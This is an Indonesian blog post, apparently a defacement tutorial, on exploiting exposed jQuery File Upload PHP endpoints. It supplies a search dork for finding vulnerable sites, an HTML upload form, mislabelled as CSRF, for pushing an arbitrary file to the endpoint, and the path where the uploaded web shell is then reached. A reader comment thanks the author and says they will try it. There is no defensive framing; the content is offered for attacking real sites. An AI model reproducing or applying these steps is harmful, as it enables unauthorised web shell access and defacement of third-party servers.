Deface dengan tehnik jQuery File Upload

Langsung aja ane kasih tau cara deface dengan tehnik jQuery File Upload CSFR

▐ Dork : inurl:/jquery-file-upload/
▐ Exploit : http://localhost/dir/jquery-file-upload/server/php/

Exploit CSRF nya :

 
<form method="POST" action="http://localhost/dir/jquery-file-upload/server/php/"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>

Contoh target vuln:

Udah tau kan cara make nya , kalo sukses Shell akses nya di: http://localhost/dir/jquery-file-upload/server/php/files/Shell.php 

Semoga berhasil, di dunia Deface ga ada yang instan.

1 comment:

  1. keren gan postingan nya., izin coba ya.,

    salam : http://biongo-attacker.blogspot.co.id/

    ReplyDelete